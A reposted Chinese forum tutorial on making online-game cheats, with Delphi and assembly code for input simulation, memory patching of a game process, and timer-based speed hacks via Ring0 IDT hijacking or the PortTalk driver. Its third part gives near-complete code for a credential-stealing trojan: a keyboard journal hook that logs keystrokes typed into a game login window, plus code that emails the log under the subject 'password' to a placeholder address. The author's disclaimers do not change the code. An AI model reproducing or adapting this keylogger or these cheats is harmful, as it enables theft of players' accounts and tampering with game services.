[转载]网络游戏外挂制作

在几年前我看到别人玩网络游戏用上了外挂，做为程序员的我心里实在是不爽，想搞清楚这到底是怎么回事。就拿了一些来研究，小有心得，拿出来与大家共享，外挂无非就是分几种罢了（依制作难度）：
1、动作式，所谓动作式，就是指用API发命令给窗口或API控制鼠标、键盘等，使游戏里的人物进行流动或者攻击，最早以前的“石器”外挂就是这种方式。（这种外挂完全是垃圾，TMD，只要会一点点API的人都知道该怎么做，不过这种外挂也是入门级的好东东，虽然不能提高你的战斗力，但是可以提高你的士气^_^）
2、本地修改式，这种外挂跟传统上的一些游戏修改器没有两样，做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现，“精灵”的外挂这是这种方式写成的，它的难点在于找到那些地址码，找地址一般地要借助于别人的工具，有的游戏还有双码校验，正正找起来会比较困难。（这种外挂，比上一种有一点点难度，但是这种外挂做起来能够用，也是有一定难度的啦~~，这种外挂可以很快提升你对内存地址的理解及应用，是你编程技术提高的好东东）
3、木马式，这种外挂的目的是帮外挂制作者偷到用户的密码（TMD，“烂”就一个字，不过要知已知彼因此还是要谈一下啦~~），做这种外挂有一定的难度，需要HOOK或键盘监视技术做底子，才可以完成，它的原理是先首截了用户的帐号或密码，然后发到指定邮箱。（我以前写过这样的东东，但是从来没有用过，我知道这种东东很不道德，因此以后千万别用呀！~~）
4、加速式，这种外挂可以加快游戏的速度……（对不起大家，这种东东我没有实际做过，因此不能妄自评，惭愧~~）
5、封包式，这种外挂是高难度外挂，需要有很强的编程功力才可以写得出来。它的原理是先截取封包，后修改，再转发（Kao,说起来简单，你做一个试试~~~~）。这种外挂适用于大多数网络游戏，像WPE及一些网络游戏外挂都是用这种方式写成的，编写这种外挂需要apihook技术，winsock技术
　　这几种外挂之中，前三种可以用ＶＢ，ＤＥＬＰＨＩ等语言比较好实现，后两种则要用ＶＣ等底层支持比较好的编程工具才好实现。
现在就依次（制作难度）由浅到深谈谈我对外挂制作的一些认识吧~~~~
首先，先来谈一下动作式的外挂，这也是我第一次写外挂时做的最简单的一种。记得还在“石器”时代的时候，我看到别人挂着一种软件（外挂）人物就可以四外游走（当时我还不知道外挂怎么回事^_^），于是找了这种软件过来研究（拿来后才听别人说这叫外挂），发现这种东东其实实现起来并不难，仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已，看后就有实现这功能的冲动，随后跑到MSDN上看了一些资料，发现这种实现这几个功能，只需要几个简单的API函数就可以搞定：
1、首先我们要知道现在鼠标的位置（为了好还原现在鼠标的位置）因此我们就要用到API函数GetCursorPos，它的使用方法如下：

1. BOOL GetCursorPos( LPPOINT lpPoint // address of structure for cursor position );
   

复制代码

2、我们把鼠标的位置移到要到人物走到的地方，我们就要用到SetCursorPos函数来移动鼠标位置，它的使用方法如下：

1. BOOL SetCursorPos(
   
2. int X, // horizontal position
   
3. int Y // vertical position
   
4. );
   

复制代码

3、模拟鼠标发出按下和放开的动作，我们要用到mouse_event函数来实现，具休使用方法用下：

1. VOID mouse_event(
   
2. DWORD dwFlags, // flags specifying various motion/click variants
   
3. DWORD dx, // horizontal mouse position or position change
   
4. DWORD dy, // vertical mouse position or position change
   
5. DWORD dwData, // amount of wheel movement
   
6. DWORD dwExtraInfo // 32 bits of application-defined information
   
7. );
   

复制代码

在它的dwFlags处，可用的事件很多如移动MOUSEEVENTF_MOVE，左键按下MOUSEEVENTF_LEFTDOWN，左键放开MOUSEEVENTF_LEFTUP，具体的东东还是查一下MSDN吧~~~~~
好了，有了以前的知识，我们就可以来看看人物移走是怎么实现的了：

1. getcursorpos(point);
   
2. setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
   
3. mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
   
4. mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
   
5. setcursorpos(point.x,point.y);
   

复制代码

看了以上的代码，是不是觉得人物的游走很简单啦~~，举一仿三，还有好多好东东可以用这个技巧实现（我早就说过，TMD，这是垃圾外挂的做法，相信了吧~~~），接下来，再看看游戏里面自动攻击的做法吧（必需游戏中攻击支持快捷键的），道理还是一样的，只是用的API不同罢了~~~，这回我们要用到的是keybd_event函数，其用法如下：

1. VOID keybd_event(
   
2. BYTE bVk, // virtual-key code
   
3. BYTE bScan, // hardware scan code
   
4. DWORD dwFlags, // flags specifying various function options
   
5. DWORD dwExtraInfo // additional data associated with keystroke
   
6. );
   

复制代码

我们还要知道扫描码不可以直接使用，要用函数MapVirtualKey把键值转成扫描码，MapVirtualKey的具体使用方法如下：

1. UINT MapVirtualKey(
   
2. UINT uCode, // virtual-key code or scan code
   
3. UINT uMapType // translation to perform
   
4. );
   

复制代码

好了，比说此快接键是CTRL+A，接下来让我们看看实际代码是怎么写的：

1. keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
   
2. keybd_event(65,mapvirtualkey(65,0),0,0);
   
3. keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
   
4. keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);
   

复制代码

首先模拟按下了CTRL键，再模拟按下A键，再模拟放开A键，最后放开CTRL键，这就是一个模拟按快捷键的周期。
（看到这里，差不多对简易外挂有了一定的了解了吧~~~~做一个试试？假设你举一仿三还能有更好的东东出来，这就要看你的领悟能力了~~，不过不要快乐太早这只是才开始，以后还有更复杂的东东等着你呢~~）
上回我们对动作式外挂做了一个解析，动作式是最简单的外挂，现在我们带来看看，比动作式外挂更进一步的外挂棗本地修改式外挂的整个制作过程进行一个详细的分解。
具我所知，本地修改式外挂最典型的应用就是在“精灵”游戏上面，由于我在近一年前（“精灵”还在测试阶段），我所在的公司里有很多同事玩“精灵”，于是我看了一下游戏的数据处理方式，发现它所发送到服务器上的信息是存在于内存当中（我看后第一个感受是：修改这种游戏和修改单机版的游戏没有多大分别，换句话说就是在他向服务器提交信息之前修改了内存地址就可以了），当时我找到了地址于是修改了内存地址，果然，按我的想法修改了地址，让系统自动提交后，果然成功了~~~~~，后来“精灵”又改成了双地址校检，内存校检等等，在这里我就不废话了~~~~，OK，我们就来看看这类外挂是如何制作的：
在做外挂之前我们要对Windows的内存有个具体的认识，而在这里我们所指的内存是指系统的内存偏移量，也就是相对内存，而我们所要对其进行修改，那么我们要对几个Windows API进行了解，OK，跟着例子让我们看清楚这种外挂的制作和API的应用（为了保证网络游戏的正常运行，我就不把找内存地址的方法详细解说了）：
1、首先我们要用FindWindow,知道游戏窗口的句柄，由于我们要通过它来得知游戏的运行后所在进程的ID，下面就是FindWindow的用法：

1. HWND FindWindow(
   
2. LPCTSTR lpClassName, // pointer to class name
   
3. LPCTSTR lpWindowName // pointer to window name
   
4. );
   

复制代码

2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID，函数用法如下：

1. DWORD GetWindowThreadProcessId(
   
2. HWND hWnd, // handle of window
   
3. LPDWORD lpdwProcessId // address of variable for process identifier
   
4. );
   

复制代码

3、得到游戏进程ID后，接下来的事是要以最高权限打开进程，所用到的函数OpenProcess的具体使用方法如下：

1. HANDLE OpenProcess(
   
2. DWORD dwDesiredAccess, // access flag
   
3. BOOL bInheritHandle, // handle inheritance flag
   
4. DWORD dwProcessId // process identifier
   
5. );
   

复制代码

在dwDesiredAccess之处就是设存取方式的地方，它可设的权限很多，我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以，其他的方式我们可以查一下MSDN。
4、打开进程后，我们就可以用函数对存内进行操作，在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可（其他的操作方式例如说：ReadProcessMemory等，我在这里就不一一介绍了），我们看一下WriteProcessMemory的用法：

1. BOOL WriteProcessMemory(
   
2. HANDLE hProcess, // handle to process whose memory is written to
   
3. LPVOID lpBaseAddress, // address to start writing to
   
4. LPVOID lpBuffer, // pointer to buffer to write data to
   
5. DWORD nSize, // number of bytes to write
   
6. LPDWORD lpNumberOfBytesWritten // actual number of bytes written
   
7. );
   

复制代码

5、下面用CloseHandle关闭进程句柄就完成了。
这就是这类游戏外挂的程序实现部份的方法，好了，有了此方法，我们就有了理性的认识，我们看看实际例子，提升一下我们的感性认识吧，下面就是XX游戏的外挂代码，我们照上面的方法对应去研究一下吧：

1. const
   
2. ResourceOffset: dword = $004219F4;
   
3. resource: dword = 3113226621;
   
4. ResourceOffset1: dword = $004219F8;
   
5. resource1: dword = 1940000000;
   
6. ResourceOffset2: dword = $0043FA50;
   
7. resource2: dword = 1280185;
   
8. ResourceOffset3: dword = $0043FA54;
   
9. resource3: dword = 3163064576;
   
10. ResourceOffset4: dword = $0043FA58;
    
11. resource4: dword = 2298478592;
    
12. var
    
13. hw: HWND;
    
14. pid: dword;
    
15. h: Thandle;
    
16. tt: Cardinal;
    
17. begin
    
18. hw := FindWindow('XX', nil);
    
19. if hw = 0 then
    
20. Exit;
    
21. GetWindowThreadProcessId(hw, @pid);
    
22. h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    
23. if h = 0 then
    
24. Exit;
    
25. if flatcheckbox1.Checked=true then
    
26. begin
    
27. WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
    
28. WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
    
29. end;
    
30. if flatcheckbox2.Checked=true then
    
31. begin
    
32. WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
    
33. WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
    
34. WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
    
35. end;
    
36. MessageBeep(0);
    
37. CloseHandle(h);
    
38. close;
    

复制代码

这个游戏是用了多地址对所要提交的数据进行了校验，因此说这类游戏外挂制作并不是很难，最难的是要找到这些地址。
（方法大家已经看清楚了，具体实践就看大家的了，呵呵~~~~~~，不过不要快乐太早，这种网络游戏毕竟占少数，因此我会在以后的文章中对其他类型外挂做详细解说，对了，请跟一下贴子，鼓励一下，不然我真的没有信心写下面的文章了，谢谢）
以前介绍过的动作式，本地修改式外挂是真正意义上的外挂，而今天本文要介绍的木马式外挂，可能大多像木马吧，是帮助做外挂的人偷取别人游戏的帐号及密码的东东。由于网络上有此类外挂的存在，因此今天不得不说一下（我个人是非常讨厌这类外挂的，请看过本文的朋友不要到处乱用此技术，谢谢合作）。要做此类外挂的程序实现方法很多（例如HOOK，键盘监视等技术），由于HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库，因此在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视，这个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路：
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、假设登录窗口出现，就记录键盘。
4、当窗口关闭时，把记录信息，通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了，由于你们比我还要了解你们玩的是什么游戏，登录窗口名称是什么。从第二点开始，我们就开始这类外挂的程序实现之旅：
那么我们要怎么样判断登录窗口虽否出现呢？其实这个很简单，我们用FindWindow函数就可以很轻松的实现了：

1. HWND FindWindow(
   
2. LPCTSTR lpClassName, // pointer to class name
   
3. LPCTSTR lpWindowName // pointer to window name
   
4. );
   

复制代码

实际程序实现中，我们要找到'xx'窗口，就用FindWindow(nil,'xx')假设当返回值大于0时表示窗口已经出现，那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志，而该函数的用法如下：

1. HHOOK SetWindowsHookEx(
   
2. int idHook, // type of hook to install
   
3. HOOKPROC lpfn, // address of hook procedure
   
4. HINSTANCE hMod, // handle of application instance
   
5. DWORD dwThreadId // identity of thread to install hook for
   
6. );
   

复制代码

在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数，来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了，具体实现方法为：
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, Hinstance, 0);
而HOOKPROC里的函数就要复杂一点点：

1. function HookProc(iCode: integer; wParam: wParam; lParam: lParam): Lresult; stdcall;
   
2. begin
   
3. if findedtitle then //假设发现窗口后
   
4. begin
   
5. if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
   
6. hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult（自定义的函数，主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的）转换消息。
   
7. If length(hookkey) > 0 then //假设获得按键名称
   
8. begin
   
9. Write(hookkeyFile,hookkey); //把按键名称写入文本文件
   
10. hookkey := '';
    
11. end;
    
12. end;
    
13. end;
    

复制代码

以上就是记录键盘的整个过程，简单吧，假设记录完可不要忘记释放呀，UnHookWindowsHookEx(hHook)，而Hhook,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录，那么现在最后只要把记录的这些信息发送回来，我们就大功造成了。其他发送这块并不是很难，只要把记录从文本文件里边读出来，用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下：

1. assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
   
2. reset(ReadFile); //设为读取方式
   
3. try
   
4. While not Eof(ReadFile) do //当没有读到文件尾
   
5. begin
   
6. Readln(ReadFile,s,j); //读取文件行
   
7. body:=body+s;
   
8. end;
   
9. finally
   
10. closefile(ReadFile); //关闭文件
    
11. end;
    
12. nmsmtp1.EncodeType:=uuMime; //设置编码
    
13. nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
    
14. nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
    
15. nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
    
16. nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
    
17. nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
    
18. nmsmtp1.SendMail; //发送邮件
    

复制代码

这个程序全部功能已经实现，编编试试~~~对了，我以前写的类似的作品可以在www.playicq.com上找得到。
（其实做一个这样的东东也不难，基本也是说不上什么技术可言。希望大看我的文章后不要到处乱应用呀~~~~小生在此有礼了~~~，最后要说的是我最近一段时间很忙，单位里有一堆事情等着我要去做（做项目，做研发，带实习生，过CMM2~~~~累呀），因此第5篇也不得不推后出了，请大家谅解，做为对大家关心的补偿，请大家有什么问题跟贴留言，假设我会，我会一一解答的，谢谢大家对我的文章的关心~~）
附：

1. function Keyhookresult(Lp: integer; Wp: integer): pchar;
   
2. begin
   
3. result := '[Print Screen]';
   
4. case lp of
   
5. 10688: result := '`';
   
6. 561: Result := '1';
   
7. 818: result := '2';
   
8. 1075: result := '3';
   
9. 1332: result := '4';
   
10. 1589: result := '5';
    
11. 1846: result := '6';
    
12. 2103: result := '7';
    
13. 2360: result := '8';
    
14. 2617: result := '9';
    
15. 2864: result := '0';
    
16. 3261: result := '-';
    
17. 3515: result := '=';
    
18. 4177: result := 'Q';
    
19. 4439: result := 'W';
    
20. 4677: result := 'E';
    
21. 4946: result := 'R';
    
22. 5204: result := 'T';
    
23. 5465: result := 'Y';
    
24. 5717: result := 'U';
    
25. 5961: result := 'I';
    
26. 6223: result := 'O';
    
27. 6480: result := 'P';
    
28. 6875: result := '[';
    
29. 7133: result := ']';
    
30. 11228: result := '\';
    
31. 7745: result := 'A';
    
32. 8019: result := 'S';
    
33. 8260: result := 'D';
    
34. 8518: result := 'F';
    
35. 8775: result := 'G';
    
36. 9032: result := 'H';
    
37. 9290: result := 'J';
    
38. 9547: result := 'K';
    
39. 9804: result := 'L';
    
40. 10170: result := ';';
    
41. 10462: result := '''';
    
42. 11354: result := 'Z';
    
43. 11608: result := 'X';
    
44. 11843: result := 'C';
    
45. 12118: result := 'V';
    
46. 12354: result := 'B';
    
47. 12622: result := 'N';
    
48. 12877: result := 'M';
    
49. 13244: result := ',';
    
50. 13502: result := '.';
    
51. 13759: result := '/';
    
52. 13840: result := '[Right-Shift]';
    
53. 14624: result := '[Space]';
    
54. 283: result := '[Esc]';
    
55. 15216: result := '[F1]';
    
56. 15473: result := '[F2]';
    
57. 15730: result := '[F3]';
    
58. 15987: result := '[F4]';
    
59. 16244: result := '[F5]';
    
60. 16501: result := '[F6]';
    
61. 16758: result := '[F7]';
    
62. 17015: result := '[F8]';
    
63. 17272: result := '[F9]';
    
64. 17529: result := '[F10]';
    
65. 22394: result := '[F11]';
    
66. 22651: result := '[F12]';
    
67. 10768: Result := '[Left-Shift]';
    
68. 14868: result := '[CapsLock]';
    
69. 3592: result := '[Backspace]';
    
70. 3849: result := '[Tab]';
    
71. 7441:
    
72. if wp > 30000 then
    
73. result := '[Right-Ctrl]'
    
74. else
    
75. result := '[Left-Ctrl]';
    
76. 13679: result := '[Num /]';
    
77. 17808: result := '[NumLock]';
    
78. 300: result := '[Print Screen]';
    
79. 18065: result := '[Scroll Lock]';
    
80. 17683: result := '[Pause]';
    
81. 21088: result := '[Num0]';
    
82. 21358: result := '[Num.]';
    
83. 20321: result := '[Num1]';
    
84. 20578: result := '[Num2]';
    
85. 20835: result := '[Num3]';
    
86. 19300: result := '[Num4]';
    
87. 19557: result := '[Num5]';
    
88. 19814: result := '[Num6]';
    
89. 18279: result := '[Num7]';
    
90. 18536: result := '[Num8]';
    
91. 18793: result := '[Num9]';
    
92. 19468: result := '[*5*]';
    
93. 14186: result := '[Num *]';
    
94. 19053: result := '[Num -]';
    
95. 20075: result := '[Num +]';
    
96. 21037: result := '[Insert]';
    
97. 21294: result := '[Delete]';
    
98. 18212: result := '[Home]';
    
99. 20259: result := '[End]';
    
100. 18721: result := '[PageUp]';
     
101. 20770: result := '[PageDown]';
     
102. 18470: result := '[UP]';
     
103. 20520: result := '[DOWN]';
     
104. 19237: result := '[LEFT]';
     
105. 19751: result := '[RIGHT]';
     
106. 7181: result := '[Enter]';
     
107. end;
     
108. end;
     

复制代码

我一直没有搞懂制作加速外挂是怎么一回事，直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍，才有了一点点开悟，随后用Delphi重写了一遍，下面我就把我的心得说给大家听听，并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了，那就开始神奇的加速型外挂体验之旅吧！
原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到，这很简单嘛不就是直接修改一下8253寄存器嘛，这在以前DOS时代可能可以行得通，但是windows则不然。Windows是一个32位的操作系统，并不是你想改哪就改哪的（微软的东东就是如此霸气，说不给你改就不给你改^_^），但要改也不是不可能，我们可以通过两种方法来实现：第一是写一个硬件驱动来完成，第二是用Ring0来实现（这种方法是CIH的作者陈盈豪首用的，它的原理是修改一下IDE表->创建一个中断门->进入Ring0->调用中断修改向量，但是没有办法只能用ASM汇编来实现这一切*_*，做为高级语言使用者惨啦！），用第一种方法用点麻烦，因此我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧：
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门，修改向量等工作
2、调用这个过程来实现加速功能
好了，现在思路有了，我们就边看代码边讲解吧：
首先我们建立一个过程，这个过程就是本程序的核心部份：

1. procedure SetRing(value:word); stdcall;
   
2. const ZDH = $03; ／／ 设一个中断号
   
3. var
   
4. IDT : array [0..5] of byte; ／／ 保存IDT表
   
5. OG : dword; ／／存放旧向量
   
6. begin
   
7. asm
   
8. push ebx
   
9. sidt IDT ／／读入中断描述符表
   
10. mov ebx, dword ptr [IDT+2] ／／IDT表基地址
    
11. add ebx, 8*ZDH ／／计算中断在中断描述符表中的位置
    
12. cli ／／关中断
    
13. mov dx, word ptr [ebx+6]
    
14. shl edx, 16d
    
15. mov dx, word ptr [ebx]
    
16. mov [OG], edx
    
17. mov eax, offset @@Ring0 ／／指向Ring0级代码段
    
18. mov word ptr [ebx], ax ／／低16位,保存在1,2位
    
19. shr eax, 16d
    
20. mov word ptr [ebx+6], ax ／／高16位，保存在6,7位
    
21. int ZDH ／／中断
    
22. mov ebx, dword ptr [IDT+2] ／／重新定位
    
23. add ebx, 8*ZDH
    
24. mov edx, [OG]
    
25. mov word ptr [ebx], dx
    
26. shr edx, 16d
    
27. mov word ptr [ebx+6], dx ／／恢复被改了的向量
    
28. pop ebx
    
29. jmp @@exitasm ／／到exitasm处
    
30. @@Ring0: ／／Ring0,这个也是最最最核心的东东
    
31. mov al,$34 ／／写入8253控制寄存器
    
32. out $43,al
    
33. mov ax,value　／／写入定时值
    
34. out $40,al ／／写定时值低位
    
35. mov al,ah
    
36. out $40,al ／／写定时值高位
    
37. iretd ／／返回
    
38. @@exitasm:
    
39. end;
    
40. end;
    

复制代码

最核心的东西已经写完了，大部份读者是知其然不知其因此然吧，呵呵，不过不知其因此然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧！
先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：
SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));
由于windows默认的值为$1742，因此我们把1742做为基数，又由于值越小越快，反之越慢的原理，因此写了这样一个公式，好了，这就是“变速齿轮”的一个Delphi＋ASM版了（只适用于win9X），呵呵，试一下吧，这对你帮助会很大的，呵呵。
我的文章名字没有叫《网络游戏外挂制作之我所见（6）》是由于本文六以后研究的方向就是网络数据封包的内容了，而本文将要介绍的是windows 2000/Xp下实现加速形外挂的制作。
在win2000里，我们不可能实现在直接对端口进行操作，Ring0也失了效，有的人就会想到，我们可以写驱动程序来完成呀，但在这里我告诉你，windows2000的驱动不是一个VxD就能实现的，像我这样的低手是写不出windows所用的驱动WDM的，没办法，我只有借助外力实现了，ProtTalk就是一个不错的设备驱动，他很方便的来实现对低层端口的操作，从而实现加速外挂。
1、我们首先要下一个PortTalk驱动，他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口（我想省略了，大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧）
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了，下面就讲一下这程序的实现方法吧，假设说用ProtTalk来操作端口就容易多了，比win98下用ring权限操作方便。
1、新建一个工程，把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件

1. uses
   
2. windows,ProtTalk……
   

复制代码

3、我们建立一个过程

1. procedure SetRing(value:word);
   
2. begin
   
3. if not OpenPortTalk then exit;
   
4. outportb($43,$34);
   
5. outportb($40,lo(Value));
   
6. outprotb($40,hi(value));
   
7. ClosePortTalk;
   
8. end;
   

复制代码

4、先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：

1. SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));
   

复制代码

就这么容易，win2000的也就写出来了